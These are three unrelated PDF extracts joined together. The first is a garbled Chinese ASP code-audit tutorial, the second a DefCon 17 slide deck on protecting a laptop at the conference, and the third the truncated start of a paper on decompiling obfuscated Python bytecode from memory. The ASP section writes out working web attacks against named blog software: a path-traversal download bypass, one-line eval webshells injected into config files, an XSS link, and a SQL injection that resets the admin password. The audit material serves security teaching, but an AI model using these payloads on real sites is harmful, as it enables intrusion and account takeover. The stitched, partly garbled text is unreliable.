Mid(FileName,
Mid(FileName, InStrRev(FileName,
InStrRev(FileName,
InStrRev(FileName,
InStrRev(FileName,““““....””””)))) ++++ 1)
1)
1)
1)
Select
Select
Select
SelectCase
Case
Case
Case UCase(FileExt)
UCase(FileExt)
UCase(FileExt)
UCase(FileExt)
Case
Case
Case
Case ““““ASP
ASP
ASP
ASP””””,,,, ““““ASA
ASA
ASA
ASA””””,,,, ““““aspX
aspX
aspX
aspX””””,,,, ““““ASAX
ASAX
ASAX
ASAX””””,,,, ““““MDB
MDB
MDB
MDB””””
Response.Write
Response.Write
Response.Write
Response.Write ““““非法操作!””””
Response.End
Response.End
Response.End
Response.End
End
End
End
End Select
Select
Select
Select
Response.Clear
if
lcase(right(FileName,3))=”gif”
or
lcase(right(FileName,3))=”jpg”
or
lcase(right(FileName,3))=”png” then
Response.ContentType = “image/*” ‘对图像文件不出
现下载对话框
else
Response.ContentType = “application/ms-download”
end
if
Response.AddHeader
“content-disposition”,
“attachment; filename=”
&
GetFileName(Request.QueryString(”FileName”))
Asp 安全审计
http://hi.baidu.com/micropoor
23
Set Stream = server.CreateObject(”ADODB.Stream”)
Stream.Type = adTypeBinary
Stream.Open
SavePath = FileUploadPath
‘ 存放上 传文件的目 录
TrueFileName = SavePath &
FileName
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
//略
%>
Url:down.asp?FileName=../conn.asp....
多加了一个点之后,截取的就是空的后缀了。判断就饶过了。后缀是判断最后一个.之后的,
构造的最后一个.后面是空,所以不会非法。
例 2:
<%
//略
Path = Trim(Request(”path”))
//略
%>
<%
//略
If true_domain
=
1 Then
downloadFile Server.MapPath(Replace(Path,blogurl,”")),1
else
downloadFile Server.MapPath(Path),1
End If
%>
<%
If InStr(path,Oblog.CacheConfig(56)) > 0 Then
downloadFile Server.MapPath(Path),1
End if
select Case LCase(Right(strFile, 4))
Case “.asp”,”.mdb”,”.config”,”.js”
FileExt = Mid(FileName, InStrRev(FileName, “.”) + 1)
Select Case UCase(FileExt)
Case “ASP”, “ASA”, “ASPX”, “ASAX”, “MDB”
Response.Write “非法操作!”
%>
方法同上:
伪造 REFERER
REFERER
REFERER
REFERER 漏洞
referer 是 http 头,它的作用是签定用户是从何处引用连接的,在 the9,服务程序就充分利
用了这一点,如过手动输入 url 的话,那么 referer 不会设任何值,服务程序就返回空。
测试文件:
<%
dim referer
dim web_name
Asp 安全审计
http://hi.baidu.com/micropoor
24
dim n
referer=request.servervariables("http_referer")
web_name=request.servervariables("server_name")
n=instr(referer,web_name)
if n>0 then
response.write "<script>alert(/good/)</script>"
else
response.write "<script>alert(/bad/)</script>"
end if
%>
代码:
<%
Function GetBody(weburl)
Set Retrieval = Server.CreateObject("MSXML2.XMLHTTP")
With Retrieval
.Open "Get", weburl, False, "", ""
.setRequestHeader "referer","http://www.micropoor.com/"'想改什么就改什
么
.Send
GetBody = .ResponseBody
End With
GetBody = BytesToBstr(GetBody,"GB2312")
Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
Asp 安全审计
http://hi.baidu.com/micropoor
25
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Response.Write(GetBody("http://www.micropoor.com/referer.asp"))
%>
深入 Asp
Asp
Asp
Asp 配置文件插入一句话以及原理
数据库扩展名是 asp 的话,那么插数据库,有配置文件可以插的话,那么插入配置文件。
但是配置文件一旦插入失败,那么可能导致网站数据配置错误发生不可想象的后果。
一般格式:email="[email protected]"
那么需要闭合2个",然后插入一句话:"%><%eval request("micropoor")%><%s="
那么在 config.asp 中就是
email=" "%><%eval request("micropoor")%><%s=" "
连接 config.asp 即可。
有一些配置文件没有双引号,例如:num=5,5为 int 如果 num="5",那么就变成 char 了。
那么插入:插入5%><%eval request("micropoor")%><%
有一些网站的配置文件过滤了 eval,execute,或者防火墙。拦截等。可以考虑 include。
例:
<!-- #include file="..//uploadfiles/xxx.jpg"-->
Xxx.jpg 为我们的一句话图片。
案例:
//过滤文件
<%
sessionvar = replace(Trim(Request.Form("sessionvar")),CHR(34),"'")
webmail = replace(Trim(Request.Form("webmail")),CHR(34),"'")
weblogo = replace(Trim(Request.Form("weblogo")),CHR(34),"'")
skin = replace(Trim(Request.Form("skin")),CHR(34),"'")
webbanner = replace(Trim(Request.Form("webbanner")),CHR(34),"'")
bestvid = replace(Trim(Request.Form("bestvid")),CHR(34),"'")
Asp 安全审计
http://hi.baidu.com/micropoor
26
bestcoolsite = replace(Trim(Request.Form("bestcoolsite")),CHR(34),"'")
adflperpage = replace(Trim(Request.Form("adflperpage")),CHR(34),"'")
point_news = replace(Trim(Request.Form("point_news")),CHR(34),"'")
point_article = replace(Trim(Request.Form("point_article")),CHR(34),"'")
point_down = replace(Trim(Request.Form("point_down")),CHR(34),"'")
%>
VBScript
VBScript
VBScript
VBScript Replace
Replace
Replace
Replace 函数
Replace 函数可使用一个字符串替换另一个字符串指定的次数。
语法
Replace(string,find,replacewith[,start[,count[,compare]]])
参数
描述
string
必需的。需要被搜索的字符串。
find
必需的。将被替换的字符串部分。
replacewith
必需的。用于替换的子字符串。
start
可选的。规定开始位置。默认是 1。
count
可选的。规定指定替换的次数。默认是 -1,表示进行所有可能的替换。
compare
可选的。规定所使用的字符串比较类型。默认是 0。
实例
例子 1111
dim txt
txt="This is a beautiful day!"
document.write(Replace(txt,"beautiful","horrible"))
输出:
This is a horrible day!
配置文件:
<%
webmail="[email protected]"
'设置站长 EMAIL
weblogo=""
'设置 logo 代码
webbanner="skin/1/top0.jpg"
'设置 banner 代码
'=====首页显示信息=====
Asp 安全审计
http://hi.baidu.com/micropoor
27
indexnews=6
'首页显示的新闻的条数
indexarticle=10
'首页显示的文章的篇数
indexsoft=10
'首页显示的程序的个数
indexdj=10
'首页显示的舞曲的个数
%>
那么 indexnews 可以插入6:eval(request(char(34)))
6:冒号作用为连接符号。
代码审核实战:
案例1:
./Action.asp
elseif request("action")="type1" then //第23行
dim mainurl,main,mainstr
mainurl=request("mainurl")
main=trim(checkstr(request("main")))
response.clear()
mainstr=""
If Len(memName)>0 Then
mainstr=mainstr&"<img src=""images/download.gif"" alt=""下载文件"" style=""margin:0px 2px
-4px 0px""/> <a href="""&mainurl&""" target=""_blank"">"&main&"</a>"
利用:Action.asp?action=type1&mainurl=xxx">[XSS]
案例2:
//const.asp
//GetUserTodayInfo
QUOTE:
Lastlogin = Request.Cookies("newasp_net")("LastTime")
UserDayInfo = Request.Cookies("newasp_net")("UserToday")
If DateDiff("d",LastLogin,Now())<>0 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
end if
UserToday = Split(UserDayInfo, ",")
If Ubound(UserToday) <> 5 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
Asp 安全审计
http://hi.baidu.com/micropoor
28
end if
QUOTE:
Public Function updateUserToday(ByVal str)
On Error Resume Next
If Trim(str) <> "" Then
Newasp.Execute("update [NC_User] SET UserToday='" & str & "' where username='"&
Newasp.membername &"' And userid=" & Newasp.memberid)
Response.Cookies("newasp_net")("UserToday") = str
End If
End Function
updateUserToday(ByVal str)str 没有经过任何过滤就防进了数据库。
导致 sql
案例3:
//Oblog 4.6
//AjaxServer.asp
Sub digglog() //第691行 If Not lcase(Request.ServerVariables("REQUEST_METHOD"))="post"
Then Response.End
//略
If request("ptrue")=1 Then //第703行
pdigg=oblog.checkuserlogined_digg(unescape(Trim(request("puser"))),Trim(request("ppass")))
oblog.checkuserlogined_digg 在/inc/ class_sys.asp 文件下:
Public Function CheckUserLogined_digg(puser,ppass)
Dim rs
If Not IsObject(conn) Then link_database
Set rs = Server.CreateObject("adodb.recordset")
rs.open "select top 1 userid,username from oblog_user where username='"&puser&"' and
truepassword='"&ppass&"'", conn, 1, 1
If Not (rs.eof Or rs.bof) Then
CheckUserLogined_digg="1$$"&rs("userid")&"$$"&rs("username")
Else
CheckUserLogined_digg="0$$0$$0"
End If
rs.close
Asp 安全审计
http://hi.baidu.com/micropoor
29
Set rs=Nothing
End Function
ppass 没有任何过滤放入 sql 执行语句导致 sql 注入的产生。利用必须使用 post 提交.
案例4:
//attachment.asp
Path = Trim(Request("path")) '获取用户提交的路径
FileID = Trim(Request("FileID"))
If FileID ="" And Path = "" Then
Response.Write "参数不足"
Response.End
End If
...
If CheckDownLoad
Or 1= 1Then
If Path = "" Then
set rs = Server.CreateObject("ADODB.RecordSet")
link_database
SQL = ("select file_path,userid,file_ext,ViewNum FROM oblog_upfile WHERE FileID =
"&CLng(FileID))
rs.open sql,conn,1,3
If Not rs.Eof Then
uid = rs(1)
file_ext = rs(2)
rs("ViewNum") = rs("ViewNum") + 1
rs.Update
downloadFile Server.MapPath(rs(0)),0
Else
Response.Status=404
Response.Write "该附件不存在!"
End If
rs.Close
Set rs = Nothing
Else
If InStr(path,Oblog.CacheConfig(56)) > 0 Then 'Tr4c3 标注:注意这里,仅仅判断用户提交
的路径是否包含 UploadFiles,为真则调用 downloadfile 函数下载文件
downloadFile Server.MapPath(Path),1
End if
Asp 安全审计
http://hi.baidu.com/micropoor
30
End If
Else
'如果附件为图片的话,当权限检验无法通过则调用一默认图片,防止<img>标记无法
调用,影响显示效果
If Path = "" Then
Response.Status=403
Response.Write ShowDownErr
Response.End
Else
downloadFile Server.MapPath(blogdir&"images/oblog_powered.gif"),1
End if
End if
Set oblog = Nothing
Sub downloadFile(strFile,stype)
On Error Resume Next
Server.ScriptTimeOut=9999999
Dim S,fso,f,intFilelength,strFilename
strFilename = strFile
Response.Clear
Set s = Server.CreateObject(oblog.CacheCompont(2))
s.Open
s.Type = 1
Set fso = Server.CreateObject(oblog.CacheCompont(1))
If Not fso.FileExists(strFilename) Then
If stype = 0 Then
Response.Status=404
Response.Write "该附件已经被删除!"
Exit Sub
Else
strFilename = Server.MapPath(blogdir&"images/nopic.gif")
End if
End If
Set f = fso.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
Asp 安全审计
http://hi.baidu.com/micropoor
31
If Err Then
Response.Write("<h1>错误: </h1>" & Err.Description & "<p>")
Response.End
End If
Set fso=Nothing
Dim Data
Data=s.Read
s.Close
Set s=Nothing
Dim ContentType
select Case LCase(Right(strFile, 4))
Case
Case
Case
Case ".asp",".mdb",".config",".js"
".asp",".mdb",".config",".js"
".asp",".mdb",".config",".js"
".asp",".mdb",".config",".js" ////////出现问题....
Exit Sub
Case ".asf"
ContentType = "video/x-ms-asf"
Case ".avi"
ContentType = "video/avi"
Case ".doc"
ContentType = "application/msword"
Case ".zip"
ContentType = "application/zip"
Case ".xls"
ContentType = "application/vnd.ms-excel"
Case ".gif"
ContentType = "image/gif"
Case ".jpg", "jpeg"
ContentType = "image/jpeg"
Case ".wav"
ContentType = "audio/wav"
Case ".mp3"
ContentType = "audio/mpeg3"
Case ".mpg", "mpeg"
ContentType = "video/mpeg"
Case ".rtf"
ContentType = "application/rtf"
Case ".htm", "html"
ContentType = "text/html"
Asp 安全审计
http://hi.baidu.com/micropoor
32
Case ".txt"
ContentType = "text/plain"
Case Else
ContentType = "application/octet-stream"
End select
If Response.IsClientConnected Then
If
Not
(InStr(LCase(f.name),".gif")>0
Or
InStr(LCase(f.name),".jpg")>0
Or
InStr(LCase(f.name),".jpeg")>0
Or
InStr(LCase(f.name),".bmp")>0
Or
InStr(LCase(f.name),".png")>0 )Then
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
End If
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = ContentType
Response.BinaryWrite Data
Response.Flush
Response.Clear()
End If
End Sub
案例5
//AjaxServer.asp
If Left(log_files,1)="," Then log_files=Right(log_files,Len(log_files)-1)
rs("logpics") = log_files
'附加文件处理
If log_files <>"" Then
oblog.Execute "Update oblog_upfile Set logid=" & tid & " Where fileid In (" & log_files & ")"
End if
//log_files 未被处理,由于多行执行。
利
用 ;update/**/oblog_user/**/set/**/password=7a57a5a743894a0e/**/where/**/username=admin;-
-
案例6
//admin/ admin_inc.asp
Sub checkPower
//第103行
dim loginValidate,rsObj : loginValidate = "maxcms2.0"
Asp 安全审计
http://hi.baidu.com/micropoor
33
err.clear
on error resume next
set
rsObj=conn.db("select
m_random,m_level
from
{pre}manager
where
m_username='"&rCookie("m_username")&"'","execute") //追踪 rCookie
//inc/ CommonFun.asp 中
Function rCookie(cookieName)
//第28行
rCookie = request.cookies(cookieName)
End Function
导致了注入。 | pdf |
CON KUNG-FU
Defending Yourself @ DefCon
Presented by:
Rob DeGulielmo
[email protected]
Defcon 16 – asleep at the wheel
Crap! Firefox is possessed!
DNS redirection allowed for malicious code
insertion on legitimate webpages
2
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
Defcon 16 – asleep at the wheel
(cont.)
Milw0rm.lzm in /mnt/live/memory/images
Used “uselivemod” in the BT/Tools directory.
Allows you to slipstream a module on the fly
Automatic IP and calls update milw0rm
3
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
Defcon 16 – asleep at the wheel
(cont.)
MBR rootkit
• Vmlinuz (compressed kernel) files were replaced
with replicas to subvert grub, etc.
• Try loading BT w/ nohdd, causes reboot; perhaps
because the MBR rootkit depended on virtual
memory created on the hdd
4
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
What you should have done
Left your laptop at home!
5
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
What you should have done
Broadband wireless card
Updates/Patches
Laptop w/no data on it
NOT your work laptop!!
NOT your home laptop!!
Use VM
6
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
What you can do now
Lock down BIOS/MBR
Enable system password protection
Enable MBR protection within bios. This makes
MBR read-only
7
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
What you can do now
Configuration changes (linux/win)
Hosts.deny
Firewall
Close services
Change default root p/w (i.e. BT)
AV
Conky
Hardset DNS servers
8
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
What you can do now
Comprehensive Hardening
Security templates (windows)
Bastille (linux) (http://bastille-
linux.sourceforge.net/)
HIPS
Block all inbound connections
Protect your DNS entries/ARP/logs
9
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
What you can do now
SSH Proxy
Firefox tunneling over SSH
Know your server’s SSH key beforehand!!
10
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
What you can do now
Firefox hardening
NoScript
Turn off dns proxy in about:config
Use a known good proxy
11
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
What you can do now
Run Snort
Patch Snort!
Will detect wireless shenanigans
Run Kismet (Linux)
will alert on deauthflood, bcastdiscon
(disassoc. Attack)
http://www.informit.com/guides/content.aspx?g=se
curity&seqNum=148
Run AirSnare (Windows)
12
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
What you can do now
Do NOT check email, go to LinkedIn,
Facebook, etc.
Even after SSL login page, many sessions are
cleartext
13
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
How to tell if you just got
p0wnd
Logs
MD5 hashes
Check system binaries (telnet, ls, login, finger,
etc) against known checksums…check offline in
single user mode.
14
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
How to tell if you just got
p0wnd
Forensic Utils (Backtrack, etc)
Connections monitor
Monitor /etc/services as well as
/etc/ined.conf
15
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
How to tell if you just got
p0wnd
Portscan detection
p.283 nMap Network Scanning (Fyodor)
Scanlogd
PortSentry
ZoneAlarm (windows)
Psad (Linux): Intrusion Detection and Log
Analysis with iptables
http://www.cipherdyne.org/psad/
16
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
Strike Back !
It’s the most hostile network in
the world
Be part of it!
17
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon
Strike Back !
Tools at ready to terminate access or
impart retribution
Run windentd & icepick
(p.264 nMap Network Scanning)
Scanlogd
PortSentry
Targeted DOS
Please do not DOS the DC network….that is
very bad form, and bad things ™ will
happen…too you
18
2009 DefCon 17 - Con Kung-Fu : Defending Yourself @ DefCon | pdf |
ʻpyREticʼ – In memory reverse engineering for
obfuscated Python bytecode
Rich Smith <[email protected]>
Immunity Inc
Abstract
Growing numbers of commercial and closed source applications are being developed using the Python
programming language. The trend with developers of such applications appears to be that there is an
increasing amount of effort being invested in order to stop the sourcecode of their application being easily
obtainable by the end user. This is being achieved through the use of a variety of obfuscation techniques
designed to impede the common methods of Python decompilation. Another trend occurring in parallel is the
use of Python as an increasingly present component of 'Cloud' technologies where traditional bytecode
decompilation techniques fall down not through obfuscation, but through lack of access to the bytecode files
on disk.
The techniques discussed in this paper extend existing Python decompilation technologies through taking
an approach that does not require access to standard Python bytecode files (.pyc/.pyo), but rather focuses
on gaining access to the bytecode through instantiated Python objects in memory and using these to
reconstruct a sourcecode listing equivalent to that composed by the applications author. Approaches will
also be discussed of how to defeat the common obfuscation techniques that have been observed in use in
order to be able to use the in memory decompilation techniques.
Finally a proof of concept embodiment of the techniques developed will be discussed which will allow people
to quickly leverage them to evaluate code for bugs that was previously opaque to them.
1. The Problem Space
The starting point for the work discussed was the need to be able to audit Pythoni applications
for security relevant bugs in order to make assertions about the risk they may introduce into an
environment. In the pursuit of this goal it became apparent that many closed source/non-free
programs that were written in Python were making efforts to hinder the assessment of their
security through attempting to not allow access to their sourcecode. Python has become an
increasingly popular language of choice for a variety of commercial & closed source applications
due to its ability to allow rapid development and prototyping, as well as because of the wide
variety of modules available to integrate into almost any other system or protocol suite. While the
underlying rationale and implications of restrictions on sourcecode availability in the context of
security assessment is beyond the scope of this paper, it is fair to say that the fact that access
was being restricted was enough to spur the creation of a set of technique that restored such
access.
In addition, the ongoing trend in the development of Software as a Service, ʻcloudʼ technologies
and virtualisation means that for a reverse engineer many things that may have once been taken
for granted have now been turned on their head. Access to the program files of the application
being reversed is no longer a given, access to applications may well be through ʻwalled gardensʼ
on a remote service providers system. Such an evolution in the provision of software to the
general population calls for a change in approach to itʼs reversing if the art of reverse engineering
is to stay current.
Finally, the subject of reversing Python at the Python layer itself rather than at a lower layer (C,
Java, Assembly etc) was a subject that was, by itself, an interesting one. Higher-level languages
while being a boon to security in many respects are far from immune to having security flaws in
the logic with which their applications are implemented, or from the developer not understanding
the quirks and errata that come with every language of sufficient complexity to find mainstream
adoption. The appreciation of the security implications of such high-level language artefacts can
only come through working at the layer in which they exist. Immediately breaking out the
debugger to look at the low level system interactions may not always be the best approach when
looking for application layer / language specific bugs. The additional fact that Python is a cross
platform language means that the discovery of a Python layer bugs gives a cross operating
system, cross system architecture attack pathway which is often seemingly over looked.
There are a number of other well-cited areas outside of security and reverse engineering where
the ability to look inside deliberately obfuscated application code holds significant value. One of
the most compelling being the use of such tools to identify license violations of code that is
included in closed source projects, yet has one of the many open source licenses. Detection of
copyright infringement is also another obvious use case.
2. Existing Python Reversing Techniques
A discussion of any advancement in an approach should only take place in the context of what
has gone before and upon which it builds. Python reversing has mainly centred around the
decompilation of bytecodeii (.pyc and .pyo files) back to Python sourcecode (.py). It has been
common practise for some time for the bytecode-compiled versions of Python applications to be
distributed in order to stop the casual observer from seeing the applications internal workings.
There are a number of free and commercial options available for performing bytecode
decompilation encompassing both software and services including UnPyciii, decompile.pyiv,
decompylev, the related decompyle service (commercial service)vi and depython (commercial
service)vii. The versions of Python upon which these above are able to work vary, as does the
accuracy of the results when real complex applications are being decompiled. It is fair to say that
the commercial service offerings generally have much better results, especially with the most
recent Python versions, but that the free offerings are ʻgood enoughʼ in many cases.
This being said, they all approach the problem in the same way. At the abstract level the
approach can be summarised as taking the bytecode (.pyc/.pyo) as input, evaluating it in a static
manner and producing the sourcecode representation based on that analysis.
In the context of ʻlost sourcecodeʼ this mode of operation is entirely adequate, however in the
context of gaining access to the sourcecode of an application which is hosted remotely or which
has been deliberately modified to evade such decompilation workflows then the requirement of
access to standard Python bytecode files can be a roadblock to reversing.
The standard Python modules for disassembling (disviii) and debugging (pdbix) are also worth
mentioning for completeness. The dis module is able to take Python objects and files and
disassemble them to produce dumps of ʻPython Assembly Languageʼ, but does not produce
Python sourcecode. The pdb module is the standard way in which debugging can be achieved in
the Python runtime, however it is fairly basic in nature and is designed to function best when the
.py file is available on disk to it. The pdb module should be squarely viewed as a tool to aid
development where (by definition) sourcecode is available; its functionality quickly becomes
limited when it is being run only with access to .pyc bytecode. The roles of both modules in the
realisation of the new techniques discussed in this paper are included in the appropriate sections
below.
3. Python Application Packaging Technologies
As Python is being used as the language of choice by an increasing number of developers, there
are a number of options available with respect to the delivery of the application to the end user in
the most convenient manner possible. As Python is an interpreted language requiring itʼs own
runtime there are a number of dependencies an end user must meet before being able to take a
.py or .pyc application and be able to run it. While in the GNU/Linux and BSD (and by extension
OS X) worlds the inclusion of Python in the standard operating system has become almost
defacto, Microsoft Windows does not support it out of the box. There is also the question of
versioning and non-stdlib dependencies. All in all for a commercial application written in Python
the ability to package up the application, itʼs dependencies and an appropriate runtime into a
bundle, which the end user can ʻjust runʼ, is a compelling one.
There are three main systems in use to fulfil this role targeted at each of the main OS groups.
For Windows there is py2exex, for OS X there is py2appxi and for GNU/Linux & BSDʼs there is cx-
freezexii. While a detailed discussion of the techniques used by each solution is beyond the scope
of this paper, it should be noted that these systems are in widespread use by commercial entities
developing in Python and familiarity with them and how they store the actual application code will
be of great benefit to anyone working with Python reversing. They are also the main way in which
modified Python distributes runtimes, as discussed below many obfuscation techniques rely on
modifying the runtime in order to achieve obfuscation.
One further note on the topic of packaging systems is that of bugs in the underlying Python
runtime. As the packagers include their own Python runtime along with the application code, the
chance of the packaged runtime version becoming stale over time and being vulnerable to bugs
that have been discovered in the runtime is very possible. Even if the systems version of the
Python runtime is patched, the bundled versions in application packages will not be. Knowing the
versions of Python bundled with any packaged application is a valuable attack opportunity that is
often overlooked.
4. Obfuscation Techniques
During the period in which commercial/closed source Python applications have been assessed a
number of obfuscation techniques employed by authors have been noted. They range in
complexity from trivial to fairly involved, the most involved being the initial impetus for the
development of a toolkit to address the problems they raised. While each technique will be
discussed individually they are often seen used in conjunction with one another in an attempt to
raise the barrier of reversing further.
The simplest form of obfuscation and one that is very often seen is the distribution of bytecode
only forms of the application. As has already been discussed the existing Python decompilers can
in general easily deal with this form of obfuscation and so it will not be discussed further.
4.1 Hiding in a packager/Tying to a modified runtime
The superficial alteration of an attribute of a packaged runtime such as a version string coupled
with an application level check of the attribute is a trivial method to bypass. When this has been
seen it is also often coupled with a much-reduced set of stdlib modules in the bundled runtime.
The goal of the author can be guessed to be stopping the application code from running in
anything but their cut down runtime with the hope being that dynamic/runtime analysis will be
disrupted. If runtime analysis is desired then a simple understanding of the packing system used
is all that is required to get access to the Python runtime files. From that point taking any stdlib
Python from the same main version (2.4.x, 2.5.x, 2.6.x etc) and putting it into the correct location
will allow that module to be used to assess the application.
This also clearly does not guard against the static analysis done by the traditional Python
decompilers on the applications .pyc files once they have been accessed inside the package.
4.2 Bytecode magic number switching
The file format of the Python bytecode in the .pyc/.pyo is deliberately undocumentedxiii to allow
for the changes of format between versions without the hassle of things which relied on the
previous format breaking. Despite this the format is well understood to consist of the followingxiv:
•
A 4 byte magic number (with the last 2 bytes 0xD, 0xA)
•
A 4 byte timestamp modification timestamp
•
A marshalled code object
The magic number is used to determine which runtime version is the correct one to run the
bytecode under and changes with every version number change. For CPython all the currently
known values can be found in the comments at the top of import.cxv from the underlying runtimes
sourcecode. If the magic number does not match the version of the Python runtime used to
invoke the bytecode then the following error message is generated:
RuntimeError: Bad magic number in .pyc file
If the bundled runtime is modified to have a different set of version to magic byte mappings then
an arbitrary non-standard value can be used as the magic byte value. This will mean that any
standard Python runtime will now refuse to run the bytecode. This also affects many of the
traditional decompilers as they are expecting correctly formatted bytecode and use the magic
number to determine what version of Python bytecode they will analyse. If an unexpected value is
provided then many will refuse to go any further in their decompilation.
A simple solution to such obfuscation is to change the magic bytes to one of the standard values.
If the exact version of the bytecode is not known there is a small enough set of valid magic bytes
to mean that trying them all until one works is not out of the question.
4.3 Marshal format change
Just as with the alteration to the runtime to use a different magic number, the entire marshalling
format used to encode the code object in the .pyc/.pyo can be altered in a packaged runtime. This
means that any other standard python runtime will not understand how to interpret the bytecode
file into valid python code objects, as well as meaning that the Python decompilers will also fail.
Depending on the complexity of the changes made to the marshalled code object within the .pyc
or the structure of the .pyc itself will determine whether the obfuscated format can be converted
back to a standard form.
4.4 Bytecode encryption
Bytecode encryption can essentially be thought of as a more complex variant of changing the
marshalling format. However the key difference is that understanding the changes is much more
difficult requiring access to some form of embedded secret in the modified Python runtime to gain
access to the Python assembly instructions. Once again such a change to the bytecode format on
disk means that a standard Python runtime is unable to run the bytecode, and traditional
decompilers cannot perform its task. A small number of instances of what are assumed to be
bytecode encryption as opposed to a different marshalling scheme have been seen, however
none have as yet been decrypted to validate proof positive this assumption. This is an area where
attacking the lower layers of C and assembler would likely have good success, but as this
research was focussing on Python layer reversing this has not been investigated fully as yet.
4.5 Sourcecode obfuscation
Another type of obfuscation that will be mentioned for completeness is the obfuscation of the
source itselfxvi. This approach does not try and alter the bytecode, but creates an alternate source
listing which has equivalent functionality to the original but is much more complex to follow,
typically through using various types of indirection and functional segmentation. The philosophy
clearly being ʻhave the code, you wonʼt understand itʼ. While this is a popular choice with
javascript (especially in websites hosting malware) the author has not seen a real world use case
of this manner of obfuscation with Python, though that is obviously not to say some do not exist.
4.6 Opcode remapping
Opcode remapping is where the modified Python runtime takes the standard value to operation
mapping which associate a Python assembly language mnemonic with a unique value and
switches them around. This means that even if the bytecode is available, a decompiler will
produce gibberish sourcecode output (if it manages anything) as the stream of bytecode is being
interpreted with incorrect meanings being assigned to the Python assembly operations.
In standard Python the opcode mapping is found in the opcode.pyxvii module, which is fairly
straightforward to follow. The modified Python runtime will not ship with this file, and the reliance
of other modules such as dis on opcode.py , and the subsequent reliance of decompilers on dis
and a correct opcode map can cause some headaches.
The technique of opcode remapping has been seen on numerous occasions and proves to be an
effective, yet easy to implement deterrent to reverse engineering. It is often seen used in
conjunction with other techniques described above, and as such stops traditional decompilation
techniques with no simplistic work around.
It was the presence of opcode remapping in conjunction with other techniques in an application
that was begging to be assessed which initiated this research. The specific methodology used to
defeat this is discussed below.
5. A new approach to Python reversing and decompilation
All of the Python obfuscations previously discussed, with the possible exception of sourcecode
obfuscation, have evolved to combat the normal decompilation workflow of taking standard
Python bytecode files and taking the instructions found within back to a sourcecode form. As soon
as the decompiler is unable to understand the input provided to it then the game is over.
The more generic a solution is in dealing with obfuscated bytecode the better, continually playing
a cat and mouse game is not a desirable goal. Identifying common approaches used in all the
discussed obfuscations, as well as hopefully the unobserved ones, should conceptually allow for
a new reversing approach to defeat all the existing anti-reversing techniques in use for Python.
One such common approach to all the existing anti-reversing mechanisms is that the aim is to
protect the application while it is at rest, while it is sitting in files on disk. The variety of modified
runtimes seen all have a set of secrets they use to ʻunlockʼ the bytecode in order for them to be
able to get things back into a standard Pythonic form which is executable. That is to say, once the
program is running in memory it has already been stripped of its protection by the very
mechanism that was protecting it.
Taking a running Python application that has been arbitrarily obfuscated on disk and producing
the sourcecode with which it was coded was the most generic way in which all the anti-reversing
techniques could be circumvented. The specific manner in which this was achieved is discussed
below. A proof of concept tool was written to demonstrate the feasibility of the ideas discussed,
as well as to address the actual problem that was set out to be solved – looking for bugs in closed
source/commercial Python applications.
While this is the same approach as many compiled language debuggers use to access the
internals of a running program, it must be remembered that the end goal is to get back to a
representational sourcecode listing of the application not merely to evaluate it at runtime in a
dynamic manner.
5.1 Getting ʻin processʼ
Any methodology that relies on the evaluation of a program at runtime obviously relies on getting
into the context of the running application. Even with anti-reversing techniques in use, getting into
the main thread of any Python application is surprisingly simple.
When Python modules are referenced in code the .py, .pyc or .pyo file extension is not used; if
there is only a single .py /.pyc/.pyo file present then that file will be used, if there are multiple files
present then the timestamp embedded in the bytecode file itself (see section 4.2) is check against
the mtime on the .py file to see if they are equal, if they are the already bytecode compiled
.pyc/.pyo is used, if they are not it is assumed that the .py has changed and is therefore used
(see the check_compiled_module() function in import.c xv). The upshot being that even if an
application only shipped with obfuscated .pyc bytecode files, simply renaming one of these files
and placing a .py file of the original name in itʼs place means that file is executed instead.
Of course the earlier in the execution sequence the file that is being replaced is, the earlier in the
applications execution control is taken. Many of the application packaging technologies have
manifests which state the first python file to be executed and these can often make good
candidates. A further requirement is to try and allow the normal execution flow of the application
to continue, albeit under control. The content of the replacement file can be anything however
including something similar to the code snippet in Fig 1 allows for the replacement file to blindly
mirror the functions in a file it is replacing when it is called from other areas of code.
So getting in process is easy, from here it is simple to be able to do dynamic runtime analysis, but
sourcecode is the end goal being strived for.
Fig 1. Code snippet to blindly mirror a renamed module at runtime
import renamed_module
for x in dir(renamed_module):
if x[:2] == "__":
continue
print "%s mirroring %s.%s"%(x, renamed_module.__file__, x)
exec("%s = renamed_module.%s"%(x,x))
5.2 Evaluating instantiated objects
Now access to the running context of the application is available the objects in memory can be
evaluated. In Python all method and function objects have a func_code object that contains a
wealth of data about its operation and implementation. It is this object that the inspectxviii module
uses when it is providing information about objects. The co_code member of the func_code
object contains the bytecode of the function; such bytecode could be dumped and decompiled in
the traditional way (albeit a function at a time).
To be able to construct the content of an entire module, the various components have to be
traversed and reconstructed into a whole. There are a couple of different general method to do
